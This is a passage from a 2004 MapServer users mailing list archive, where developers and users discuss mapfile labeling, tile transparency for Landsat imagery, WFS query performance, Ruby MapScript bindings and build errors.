solution > to this? "mapserv -v" reports: > > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > Thanks, > Dave > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From nacional@cbs.umn.edu Mon Feb 2 19:53:53 2004 From: nacional@cbs.umn.edu (Pericles Nacionales) Date: Mon, 2 Feb 2004 13:53:53 -0600 (CST) Subject: [Mapserver-users] MapServer Tutorial 4.0 Example 1.4 no image In-Reply-To: References: Message-ID: If I recall correctly, Example 1.4 is the labeling example. I don't see any LABEL objects on your mapfile though. Anyway, other than looking closely at the mapfile syntax, I'd also recommend checking to make sure that the fonts (and the fonts directory) are accessible/readable by everyone. You might also check Apache's logs--access_log and error_log--to see if there's anything that goes wrong when running the MapServer CGI program. Let me know if your problem doesn't go away. Good luck! -Perry On Mon, 2 Feb 2004, Carol L Heydon wrote: > I'm trying to work through Tutorial4.0 with MapServer 4.0 on Windows 2000. > I made the needed changes to the path information in the html and map > files. Everything works fine for Examples 1.1, 1.2, and 1.3, but from 1.4 > on the image does not display. What's different beginning with example > 1.4? > > data directory: C:\Program Files\Apache > Group\Apache2\htdocs\tutorial\data > mapserv40 located in: C:\Program Files\Apache > Group\Apache2\htdocs\cgi-bin > > Mapfile: > MAP > IMAGETYPE PNG > EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514 > SIZE 400 300 > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > > PROJECTION > "proj=laea" > "ellps=clrk66" > "lat_0=45" > "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS > --------------------------------------------- > LAYER # States polygon layer begins here > NAME states_poly > DATA states_ugl > STATUS DEFAULT > TYPE POLYGON > > PROJECTION > "init=epsg:4326" > END > > CLASSITEM "CLASS" > CLASS > EXPRESSION 'land' > COLOR 232 232 232 > END > CLASS > EXPRESSION 'water' > COLOR 198 198 255 > END > END # States polygon layer ends here > > LAYER # States line layer begins here > NAME states_line > DATA states_ugl > STATUS DEFAULT > TYPE LINE > > PROJECTION > "init=epsg:4326" > END > > CLASSITEM "CLASS" > CLASS > EXPRESSION 'land' > COLOR 32 32 32 > END > END # States line layer ends here > # End of LAYER DEFINITIONS ------------------------------- > END # end of map file > > html: > > > MapServer 4.0 Tutorial > > > > > > > > > >
>

Example 1.4: Labeling the Map

>
src="/cgi-bin/mapserv40?map=C:/Program Files/Apache > Group/Apache2/htdocs/tutorial/example1-4.map&mode=map" /> >
>

We can also add labels to our map.

>
>

This is what the mapfile looks like:

> 
MAP
>   IMAGETYPE PNG
>   EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514
>   SIZE 400 300
>   SHAPEPATH "data"
>   IMAGECOLOR 255 255 255
>   FONTSET "fonts/fonts.list"
>
>   PROJECTION
>     "proj=laea"
>     "ellps=clrk66"
>     "lat_0=45"
>     "lon_0=-100"
>   #
>   # Alternatively, you can specify an EPSG code.
>   # "init=epsg:2163"
>   #
>   END
>
>   # Start of LAYER DEFINITIONS
> ---------------------------------------------
>   LAYER # States polygon layer begins here
>     NAME states_poly
>     DATA states_ugl
>     STATUS DEFAULT
>     TYPE POLYGON
>
>     PROJECTION
>       "init=epsg:4326"
>     END
>
>     CLASSITEM "CLASS"
>     LABELITEM "STATE"
>     CLASS
>       EXPRESSION 'land'
>       COLOR 232 232 232
>       LABEL
>         COLOR 132 31 31
>         SHADOWCOLOR 218 218 218
>         SHADOWSIZE 2 2
>         TYPE TRUETYPE
>         FONT arial-bold
>         SIZE 12
>         ANTIALIAS TRUE
>         POSITION CL
>         PARTIALS FALSE
>         MINDISTANCE 300
>         BUFFER 4
>       END # end of label
>     END
>   END # States polygon layer ends here
>
>   LAYER # States line layer begins here
>     NAME states_line
>     DATA states_ugl
>     STATUS DEFAULT
>     TYPE LINE
>
>     PROJECTION
>       "init=epsg:4326"
>     END
>
>     CLASSITEM "CLASS"
>     CLASS
>       EXPRESSION 'land'
>       COLOR 64 64 64
>     END
>   END # States line layer ends here
>   # End of LAYER DEFINITIONS -------------------------------
> END # end of map file
>
>

Here we introduce a few more parameters along with the LABEL > object:

>

FONTSET
> Here we specify the full path to our truetype fonts list (or font > set) > file. This file lists each of the available fonts. See the file > itself > and the href="http://mapserver.gis.umn.edu/doc40/fontset.html">MapServer > fonset documentation for more info. FONTSET is a parameter of > the > MAP object.

>

LABELITEM
> This specifies which data attribute to use for labeling, in this > case > "STATE". LABELITEM is a parameter of the LAYER > object.

>

LABEL
> Marks the beginning of the LABEL object. The label object can be > used > under other objects (i.e. the SCALEBAR object).

>

COLOR
> Within the LABEL object, COLOR specifies the color of the label > text.

>

SHADOWCOLOR
> This specifies the shadow color of the label text.

>

SHADOWSIZE
> Specifies the shadow size. The value corresponds to the X and the > Y shifts > in pixels. So, "2 2" means two pixels wide by two pixels > high.

>

TYPE
> Within the LABEL object, TYPE specifies what type of font to use. > We have > the choice of TRUETYPE or BITMAP (the built-in fonts). We choose > TRUETYPE.

>

FONT
> If you specify TYPE as TRUETYPE, you need to specify what font to > use. > The value here is the "alias" in the font list file.

>

SIZE
> If using truetype fonts, the value is size in pixels. If bitmap, > you can > say something like "small" or "large".

>

ANTIALIAS
> This turns truetype antialiasing on or off. Remember the value > isn't on > or off but TRUE or FALSE.

>

POSITION
> Where to position the label text in relation to the label points. > The > value is a combination of vertical and horizontal positions. You > have > the following choices for vertical alignment: C for center, U for > upper, > and L for lower. For horizontal alignment you have the following > choices: > C for center, L for left, and R for right. So, to align the label > text > to the center of label ID you'd use the value "CC" > (center-center). > Or if you'd like it to be on the lower left of the ID, you'd use > LL. Another > way is to let MapServer decide the best position for your labels. > For > this you would use the value "AUTO".

>

PARTIALS
> Tells MapServer whether to generate incomplete label texts or not. > The > default here is not to generate fragments of a label text. The > value is > either TRUE or FALSE.

>

MINDISTANCE
> This is the minimum distance in pixels between duplicate labels. > See what > happens if you increase or decrease this value.

>

BUFFER
> The padding (in pixels) for each label. This is used to enhance > readability. > A BUFFER of 4 pixels mean that no label will be drawn within four > pixels > of each other. Again, change to see how it works.
>

>
>

You can also create labels separate from a POLYGON layer. You do > this > with the ANNOTATION data type. Have a look at the file > "example1-4a.map" > to see how you'd implement this kind of labeling. You will notice > that > the CLASS object within the "label" layer has a COLOR > parameter > value of "-1 -1 -1". The negative number tells MapServer > to > give this CLASS a transparent color (the label IDs don't show up). > Once > again, play with the values to understand how it affects the > map.

>
>

Back to > Example > 1.3 | Back to the Section 1 | href="sections.html">Back to the Sections Page > | Proceed to Example 1.5

>
> > > > image tag as obtained from 'view source': > From stephen.clark@focus.ca Mon Feb 2 21:24:48 2004 From: stephen.clark@focus.ca (Stephen Clark) Date: Mon, 2 Feb 2004 13:24:48 -0800 Subject: [Mapserver-users] Hidden Layer References: <1075742951.401e88e71d6f1@dutilleux.ensg.ign.fr> Message-ID: <038c01c3e9d2$fcc04990$6c000a0a@sclark> Guillaume, If you want the image layer to draw then place it above the vector layer in the map file. MS will only draw the layers you tell it to draw. Using the DEMO application as an example, only select the layers that you want drawn then click "refresh" Stephen ----- Original Message ----- From: "Guillaume MOCCAND" To: Sent: Monday, February 02, 2004 9:29 AM Subject: [Mapserver-users] Hidden Layer > Hi List ! > > i wonder how MS draws the map Layers. > if i have an Image Layer completly hidden by a vector layer, will MS spend time > reading the Tiff File ? or will it ignore it ? > > my layer-renderers are scale-dependent but because the layer image is hidden by > the other layer at a given scale, i don't know if it is better to set its > status to "OFF" > > regards > > Guillaume MOCCAND > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From steve.lime@dnr.state.mn.us Mon Feb 2 20:22:20 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Mon, 02 Feb 2004 14:22:20 -0600 Subject: [Mapserver-users] ANN: MapScript for Ruby Message-ID: A good idea, I've forwarded to the folks at the UMN in case they missed it. The ruby mods to the swig interface file should probably just be added to the development version. I can't think of a reason why not, although I've not looked at the changes... Steve >>> Jan Hartmann 2/2/2004 10:59:48 AM >>> Pirmin Kalberer wrote: > A Ruby binding for Mapscript is available at: > http://www.sourcepole.com/mapdesk/index.xml#mapscript > > The package contains some simple examples and a patch of the > mapscript.i file. > Building and installing: > -Unpack the tgz into the mapscript directory > -patch -ruby extconf.rb > -make > -su > -make install > > Regards, > > Pirmin Kalberer > Sourcepole - Linux & Open Source Solutions > http://www.sourcepole.com > _______________________________________________ *Very* interesting. This site has also a bootable GIS CD, based on Knoppix, and a Delphi/Kylix interface for MapServer. Wouldn't it be a good idea to put these three links on the "contributed software" page? Jan _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From lfilak@medinaco.org Mon Feb 2 20:50:13 2004 From: lfilak@medinaco.org (Lowell Filak) Date: Mon, 02 Feb 2004 15:50:13 -0500 Subject: [Mapserver-users] multiple queries, hilite in different color Message-ID: <20040202205008.AE0D71A65A1@mail.medinaco.org> If I am understanding your question correctly there is an alternate way. Instead of using the queryMapObj you can change the data value for existing/created layers and use the objects in the query result as the data item and then use the mapObj. With each layer having it's own symbolization the result is more customizable. Lowell The following message was sent by "Nikolai Vladychevski" on Mon, 02 Feb 2004 16:20:58 GMT. > Hi, > > I want to select each found item on a layer with different color. This > problem is due to when quering multiple layers the 'state' layer hilites > with the same color that found points or lines on other layers and the > result (at close views) is all shown in one color , the user can't > distinguish anything. > > This is my code: > > if ($mode eq "nquery" || $mode eq "query") { > my $queryPt=new mapscript::pointObj(); > my ($x,$y)=&click2map($map,$xclick,$yclick,$imgext_obj); > $queryPt->{x}=$x; $queryPt->{y}=$y; > $map->prepareQuery(); > if ($mode eq "nquery") { > my $layer=$map->getLayerByName("regiones"); > $layer->{status}=$mapscript::MS_OFF; > my $layer=$map->getLayerByName("estados"); > $layer->{status}=$mapscript::MS_OFF; > my $layer=$map->getLayerByName("municipios"); > $layer->{status}=$mapscript::MS_OFF; > $res=$map->queryByPoint($queryPt,$mapscript::MS_MULTIPLE,0); > } else { > $res=$map->queryByPoint($queryPt,$mapscript::MS_SINGLE,0); > } > for (my $lidx=0;$lidx< $map->{numlayers};$lidx++) { > my $l=$map->getLayer($lidx); > print "layer $l->{name} has $l->{resultcache}->{numresults} > results
"; > my $result=$l->getResult(0); > .... and display results > > The layers "regiones", "estados" and "municipios" are polygons, wich I want > to be hilited in some other color than other layers. How can this be done? > Right now I am turning them off. > > I have been thinking, if queryMapObj would be related to layer, I could > change the color of the found items, but since it is not possible, I need to > query each group of layers separately and find a way to merge 2 images > resulted from each query. > > Any ideas? > > Thanks in advance > Nikolai > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bartvde@xs4all.nl Mon Feb 2 20:59:44 2004 From: bartvde@xs4all.nl (Bart van den Eijnden) Date: Mon, 02 Feb 2004 21:59:44 +0100 Subject: [Mapserver-users] Mapserver WFS performance Message-ID: Hi list, Today I was testing Mapserver WFS on a shapefile of 450 Mb in size with a quadtree index. I am using no Filter (no BBOX) but only a MAXFEATURES parameter in my URL. Perhaps this is not the intention of Mapserver WFS, but this is also a potential for people to "attack" the server. It looks like Mapserver is reading the whole shapefile in order to give back the first 1 or 10 features. I stopped testing at 10 features because of the long response times. These are the results of my performance test: MAXFEATURES RESPONSE_TIME [seconds] 1 192 10 210 Any comments on this? Am I doing something wrong? Best regards, Bart From src176@psu.edu Mon Feb 2 21:27:16 2004 From: src176@psu.edu (Stephen Crawford) Date: Mon, 2 Feb 2004 16:27:16 -0500 Subject: [Mapserver-users] Tutorial & Flash Message-ID: <000601c3e9d3$548995a0$62347680@PLAYA> Hello All, I'm just starting out with MapServer, with the hope of eventually being able to use it with some of the maps I make in Flash. I have downloaded the already compiled Win32 binaries (GIF version), downloaded the demo, amd everything seems OK. I started working throught the tutorial, and everything works fine. However, in sec 1.8, "Changing the map's output format", if I try using IMAGETYPE SWF, I get this error messege: "Content-type: text/html msBuildPath: Unable to access file." Is this a problem with the compiled version I downloaded (though it says it supports the SWF output)? I'd greatly appreciate any advice. Thanks, Steve Crawford Stephen Crawford Center for Environmental Informatics GeoVISTA Center College of Earth and Mineral Sciences The Pennsylvania State University email: src176@psu.edu From sgillies@frii.com Mon Feb 2 21:30:16 2004 From: sgillies@frii.com (Sean Gillies) Date: Mon, 2 Feb 2004 14:30:16 -0700 Subject: [Mapserver-users] ANN: MapScript for Ruby In-Reply-To: References: Message-ID: I just looked at the patch to mapscript.i. It won't work with the next release due to my recent work on the styleObj shadow class http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=548 But there's no reason why we can't work together to bring the Ruby bindings into the fold for the next release. cheers, Sean On Feb 2, 2004, at 1:22 PM, Steve Lime wrote: > A good idea, I've forwarded to the folks at the UMN in case they missed > it. The ruby mods to the swig interface file should probably just be > added to the development version. I can't think of a reason why not, > although I've not looked at the changes... > > Steve > >>>> Jan Hartmann 2/2/2004 10:59:48 AM >>> > > Pirmin Kalberer wrote: >> A Ruby binding for Mapscript is available at: >> http://www.sourcepole.com/mapdesk/index.xml#mapscript >> >> The package contains some simple examples and a patch of the >> mapscript.i file. >> Building and installing: >> -Unpack the tgz into the mapscript directory >> -patch > -ruby extconf.rb >> -make >> -su >> -make install >> >> Regards, >> >> Pirmin Kalberer >> Sourcepole - Linux & Open Source Solutions >> http://www.sourcepole.com >> _______________________________________________ > > *Very* interesting. This site has also a bootable GIS CD, based on > Knoppix, and a Delphi/Kylix interface for MapServer. Wouldn't it be a > good idea to put these three links on the "contributed software" page? > > Jan > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From stephen.clark@focus.ca Mon Feb 2 22:33:57 2004 From: stephen.clark@focus.ca (Stephen Clark) Date: Mon, 2 Feb 2004 14:33:57 -0800 Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency References: <1075499057.1258.11.camel@katrin> <01b501c3e786$f58abcd0$6c000a0a@sclark> <401ADB33.7060004@pobox.com> <01e701c3e78c$06ebcbe0$6c000a0a@sclark> <401AE7EB.8000504@pobox.com> <401E9B98.1040904@pobox.com> <033101c3e9ca$e818f080$6c000a0a@sclark> <401EB5B0.6050209@pobox.com> Message-ID: <040301c3e9dc$a5c69e00$6c000a0a@sclark> Frank, Point taken about the return receipt requested set on. Will turn it off. I am not sure what the problem is with these ECW files. I think that it is the TRANSPARENCY but am not sure. I downloaded the TIFF files and then compresed them to ECW then used gdaltindex on them to create a tile. Files: My landsat data is from the Geogratis web site : http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/ Specifically these three scenes as example: http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/047021/ http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/048021/ http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/049021/ Note: Creating a tile using the raw TIFF files produces no "Black Fuzziness around the scenes " Stephen Clark wrote: > There is a residual amount of black fuzziness around the scenes after using > the above OFFSITE command. That is pretty much inevitable if you use ECW. Lossy compression formats will not maintain nodata areas cleanly. Q1: Is there a way of specifying a range of values for the OFFSITE command to handle the lossy compression fuzziness? Q2: The transparency values do not work for a tiled raster file (TIFF and ECW) using the links posted above. It believe it to be an error. > I am not eager to allow different offsite values for each file selected from > the tileindex. However, if there is one offsite value in your layer definition > it should be used for all the tiles in the layer. Is this not happening? Or > was it layer transparency (ala TRANSPARENCY keyword) that was not working? I > think I asked this before and then lost your answer in the flood of > correspondence on the issue. > Q3: I would like the ability to specify an individual TRANSPARENCY and OFFSITE value for each raster file before creating a tile. That way I could create a mosaic from many raster files and have the best part of each image viewable. Would this be a tremendous amount of work? Thanks Stephen ----- Original Message ----- From: "Frank Warmerdam" To: "Stephen Clark" Sent: Monday, February 02, 2004 12:40 PM Subject: Re: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency > Stephen Clark wrote: > > Frank, > > > > Did you get the attached images I sent regarding this issue? The issue > > relates to me wanting to produce 300 DPI images in a PDF using the Landsat 7 > > data. > > Stephen, > > I did get a pointer to where to download them from, but I didn't do that. > I have no opinion on all the scale related issues. > > >>My use of Landsat 7 Imagery is for a backdrop in my PDF files. But I > >>cannot get the WMS server to produce a 300 dpi image so I need to copy > >>them locally to produce the 300 dpi PDF files. > >> > > > > > > I am working on using the BBOX, Width and Height parameters instead but I > > have had no luck. > > > > The original problem I posed to you was why I could not place transparency > > in each Landsat scene as I created the Tiled index using GdalTindex. So > > what do you think on the this issue? > > I am not eager to allow different offsite values for each file selected from > the tileindex. However, if there is one offsite value in your layer definition > it should be used for all the tiles in the layer. Is this not happening? Or > was it layer transparency (ala TRANSPARENCY keyword) that was not working? I > think I asked this before and then lost your answer in the flood of > correspondence on the issue. > > PS. it's a bit annoying to have return receipt requested set on. The only > time I do this is with the property manager at our condo because she is so > slack about replying. It kinds of makes me feel like a kid being checked up > on! > > Best regards, > > -- > ---------------------------------------+---------------------------------- ---- > I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > > From assefa@dmsolutions.ca Mon Feb 2 21:36:47 2004 From: assefa@dmsolutions.ca (Yewondwossen Assefa) Date: Mon, 02 Feb 2004 16:36:47 -0500 Subject: [Mapserver-users] Mapserver WFS performance In-Reply-To: References: Message-ID: <401EC2EF.9000409@dmsolutions.ca> Here is how things work : - the user does a wfs request - in is translated in mapserver query : the query does not take into account the maxfeatures. - The MAXFEATURES is taken into account when generating the resulting gml file So yes, It ends up doing the query on all the shapes in your case. I think we should modify mapserver low level query functions to be able to pass a maxfeature parameter. Some of the query functions have a mode (single or mulitple), and this notion should be extended to support a maxfeature. Once this is done the wfs interface can take advantage of it. Later, Bart van den Eijnden wrote: > Hi list, > > Today I was testing Mapserver WFS on a shapefile of 450 Mb in size with > a quadtree index. > > I am using no Filter (no BBOX) but only a MAXFEATURES parameter in my > URL. Perhaps this is not the intention of Mapserver WFS, but this is > also a potential for people to "attack" the server. It looks like > Mapserver is reading the whole shapefile in order to give back the first > 1 or 10 features. I stopped testing at 10 features because of the long > response times. > > These are the results of my performance test: > > MAXFEATURES RESPONSE_TIME [seconds] > 1 192 > 10 210 > > Any comments on this? Am I doing something wrong? > > Best regards, > Bart > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa@dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From scoota@supanet.com Mon Feb 2 21:40:45 2004 From: scoota@supanet.com (Keith Campbell) Date: Mon, 02 Feb 2004 21:40:45 +0000 Subject: [Mapserver-users] Configure - help In-Reply-To: <20040202110900.GA7654@intevation.de> References: <401D872C.2070608@supanet.com> <20040202110900.GA7654@intevation.de> Message-ID: <401EC3DD.9070406@supanet.com> Thank you Frank, Your advise has solved the problem. Keith Frank Koormann wrote: >Keith, > >* Keith Campbell [040202 00:48]: > > >>Hi All, >> >>Can anybody help with this? >> >>Running configure (on a Solaris) produces the following messages:- >> >>checking if GDAL support requested... yes, user supplied gdal-config >>(/export/home/local/util/gdal/configure) >> >> > >you mustn't specify the path to the configure script of the gdal source >package but the path to the program called 'gdal-config' which should >be build and installed with gdal. > >Regrads, > > Frank > > > From warmerdam@pobox.com Mon Feb 2 22:03:16 2004 From: warmerdam@pobox.com (Frank Warmerdam) Date: Mon, 02 Feb 2004 17:03:16 -0500 Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency In-Reply-To: <040301c3e9dc$a5c69e00$6c000a0a@sclark> References: <1075499057.1258.11.camel@katrin> <01b501c3e786$f58abcd0$6c000a0a@sclark> <401ADB33.7060004@pobox.com> <01e701c3e78c$06ebcbe0$6c000a0a@sclark> <401AE7EB.8000504@pobox.com> <401E9B98.1040904@pobox.com> <033101c3e9ca$e818f080$6c000a0a@sclark> <401EB5B0.6050209@pobox.com> <040301c3e9dc$a5c69e00$6c000a0a@sclark> Message-ID: <401EC924.8090400@pobox.com> Stephen Clark wrote: > Q1: Is there a way of specifying a range of values for the OFFSITE command > to handle the lossy compression fuzziness? Stephen, No that is not possible at this time. > Q2: The transparency values do not work for a tiled raster file (TIFF and > ECW) using the links posted above. It believe it to be an error. Hmm, if the TRANSPARENCY keyword isn't working that is a bug. > Q3: I would like the ability to specify an individual TRANSPARENCY and > OFFSITE value for each raster file before creating a tile. That way I could > create a mosaic from many raster files and have the best part of each image > viewable. Would this be a tremendous amount of work? I'm starting to think I see the issue with the transparency. Are you aware that the transparency applies to the layer as a whole relative to other layers, not to individual overlapping tiles within a tiled layer? That is, if you have transparency on, and there are overlapping tiles, the last tile drawn will still completely overwrite any other tiles drawn. The transparency keyword basically means that the layer is drawn into a temporary image as per normal, and then that whole image is alpha-blended into the map view as so far built from other layers. If you are wanting to use transparency as a mechanism to blend overlapping tiles you are out of luck I am afraid. Adding per-tile OFFSITE values wouldn't be terribly hard. My main concern with it is that there are *alot* of layer parameters that we might start wanting to put in the tile index. The general idea is that tile indexes should be used for layers where all the raster tiles are "similar" in nature. As we try to generalize a number of issues would arise which I am not keen to face at this time. My opinion would be that for your situation you should do alot of preprocessing of your imagery. Basically, build a mosaic from the landsat scenes, and then either split that up into regular (non-overlapping) tiles again or leave as one big file. If you want to do that, you should likely do your mosaicing all with uncompressed data to avoid iterative degredation of the image. Then you could compress to ECW as a last step if that is how you would like to keep stuff. Of course, you will still have the offsite issues but at least it will not cause artifacts along seams between overlapping scenes, only at the edges with areas of no-data. Also, if you don't have a real hard issue with disk space, I would encourage you to keep the final resulting mosaic in uncompressed form. Keeping it as a tiled TIFF file with overviews (if it isn't bigger than 4GB) would be high performance, and precise (ie. no edge artifacts). Please let me know if my assumptions about what you want to do with transparency are wrong. And if, so we can return to setting up a test case that reproduces the problem. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From scoota@supanet.com Mon Feb 2 22:07:16 2004 From: scoota@supanet.com (Keith Campbell) Date: Mon, 02 Feb 2004 22:07:16 +0000 Subject: [Mapserver-users] Relocation Error? Message-ID: <401ECA14.90009@supanet.com> Hi All, Just when things were looking more promising, I get this when running the make (Solaris):- ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): symbol : offset 0xfd3609c9 is non-aligned ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): symbol : offset 0xfd360a09 is non-aligned ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): symbol : offset 0xfd360a69 is non-aligned ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): symbol : offset 0xfd360c29 is non-aligned collect2: ld returned 1 exit status make: *** [shp2img] Error 1 What is a relocation error? Looks like a memory access problem, but why? Any help much appreciated. Keith From warmerdam@pobox.com Mon Feb 2 22:07:34 2004 From: warmerdam@pobox.com (Frank Warmerdam) Date: Mon, 02 Feb 2004 17:07:34 -0500 Subject: [Mapserver-users] Mapserver WFS performance In-Reply-To: <401EC2EF.9000409@dmsolutions.ca> References: <401EC2EF.9000409@dmsolutions.ca> Message-ID: <401ECA26.7020101@pobox.com> Yewondwossen Assefa wrote: > Here is how things work : > - the user does a wfs request > - in is translated in mapserver query : the query does not take into > account the maxfeatures. > - The MAXFEATURES is taken into account when generating the > resulting gml file > > So yes, It ends up doing the query on all the shapes in your case. > > I think we should modify mapserver low level query functions to be able > to pass a maxfeature parameter. Some of the query functions have a mode > (single or mulitple), and this notion should be extended to support a > maxfeature. Once this is done the wfs interface can take advantage of it. Assefa, and others, On a vaguely related note, the current query interface seems to make a pass generating the 'item ids' for all the features which match the query. Then when the query is returned another pass is made fetching the shapes by id. With shapefiles this isn't particularly expensive, though it does presumably result in the features being parsed from the binary twice. But for some OGR supported formats fetching "by id" can be very expensive. If we are restructuring the query mechanism what are the chances of reviewing this whole two pass approach? Since WFS is basically always using the query mechanism it seems this is a significant performance issue for some WFS setups. Even for "good formats" there is a bunch of overhead. Of course, I may be mis-understanding how things are working ... I've only glanced at it. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From stephen.clark@focus.ca Mon Feb 2 23:18:22 2004 From: stephen.clark@focus.ca (Stephen Clark) Date: Mon, 2 Feb 2004 15:18:22 -0800 Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency References: <1075499057.1258.11.camel@katrin> <01b501c3e786$f58abcd0$6c000a0a@sclark> <401ADB33.7060004@pobox.com> <01e701c3e78c$06ebcbe0$6c000a0a@sclark> <401AE7EB.8000504@pobox.com> <401E9B98.1040904@pobox.com> <033101c3e9ca$e818f080$6c000a0a@sclark> <401EB5B0.6050209@pobox.com> <040301c3e9dc$a5c69e00$6c000a0a@sclark> <401EC924.8090400@pobox.com> Message-ID: <06db01c3e9e2$da59e130$6c000a0a@sclark> Frank, > If you are wanting to use transparency as a mechanism to blend overlapping > tiles you are out of luck I am afraid. Essentially this is what I want to do. I will have to create a mosaic to produce the imagery results I want for now. Could some basic mosaicing functions be added to gdal in the future? Thanks, Stephen ----- Original Message ----- From: "Frank Warmerdam" To: "Stephen Clark" Cc: Sent: Monday, February 02, 2004 2:03 PM Subject: Re: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency > Stephen Clark wrote: > > Q1: Is there a way of specifying a range of values for the OFFSITE command > > to handle the lossy compression fuzziness? > > Stephen, > > No that is not possible at this time. > > > Q2: The transparency values do not work for a tiled raster file (TIFF and > > ECW) using the links posted above. It believe it to be an error. > > Hmm, if the TRANSPARENCY keyword isn't working that is a bug. > > > Q3: I would like the ability to specify an individual TRANSPARENCY and > > OFFSITE value for each raster file before creating a tile. That way I could > > create a mosaic from many raster files and have the best part of each image > > viewable. Would this be a tremendous amount of work? > > I'm starting to think I see the issue with the transparency. Are you aware > that the transparency applies to the layer as a whole relative to other > layers, not to individual overlapping tiles within a tiled layer? That is, > if you have transparency on, and there are overlapping tiles, the last tile > drawn will still completely overwrite any other tiles drawn. The transparency > keyword basically means that the layer is drawn into a temporary image as > per normal, and then that whole image is alpha-blended into the map view > as so far built from other layers. > > If you are wanting to use transparency as a mechanism to blend overlapping > tiles you are out of luck I am afraid. > > Adding per-tile OFFSITE values wouldn't be terribly hard. My main concern > with it is that there are *alot* of layer parameters that we might start > wanting to put in the tile index. The general idea is that tile indexes > should be used for layers where all the raster tiles are "similar" in > nature. As we try to generalize a number of issues would arise which I am > not keen to face at this time. > > My opinion would be that for your situation you should do alot of preprocessing > of your imagery. Basically, build a mosaic from the landsat scenes, and then > either split that up into regular (non-overlapping) tiles again or leave > as one big file. > > If you want to do that, you should likely do your mosaicing all with > uncompressed data to avoid iterative degredation of the image. Then you > could compress to ECW as a last step if that is how you would like to keep > stuff. Of course, you will still have the offsite issues but at least it > will not cause artifacts along seams between overlapping scenes, only at the > edges with areas of no-data. > > Also, if you don't have a real hard issue with disk space, I would encourage > you to keep the final resulting mosaic in uncompressed form. Keeping it as > a tiled TIFF file with overviews (if it isn't bigger than 4GB) would be > high performance, and precise (ie. no edge artifacts). > > Please let me know if my assumptions about what you want to do with transparency > are wrong. And if, so we can return to setting up a test case that > reproduces the problem. > > Best regards, > -- > ---------------------------------------+---------------------------------- ---- > I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > > From nacional@cbs.umn.edu Mon Feb 2 22:18:53 2004 From: nacional@cbs.umn.edu (Pericles Nacionales) Date: Mon, 2 Feb 2004 16:18:53 -0600 (CST) Subject: [Mapserver-users] Tutorial & Flash In-Reply-To: <000601c3e9d3$548995a0$62347680@PLAYA> References: <000601c3e9d3$548995a0$62347680@PLAYA> Message-ID: You need to check the MapServer wiki for FLASH info. http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MapserverFlash I suggest going through section two of the tutorial before you try flash--you need html template to work with this format. Good luck! -Perry N. On Mon, 2 Feb 2004, Stephen Crawford wrote: > Hello All, > > I'm just starting out with MapServer, with the hope of eventually being > able to use it with some of the maps I make in Flash. I have downloaded > the already compiled Win32 binaries (GIF version), downloaded the demo, > amd everything seems OK. I started working throught the tutorial, and > everything works fine. However, in sec 1.8, "Changing the map's output > format", if I try using IMAGETYPE SWF, I get this error messege: > "Content-type: text/html msBuildPath: Unable to access file." Is this a > problem with the compiled version I downloaded (though it says it > supports the SWF output)? I'd greatly appreciate any advice. > > Thanks, > Steve Crawford > > > Stephen Crawford > Center for Environmental Informatics > GeoVISTA Center > College of Earth and Mineral Sciences > The Pennsylvania State University > email: 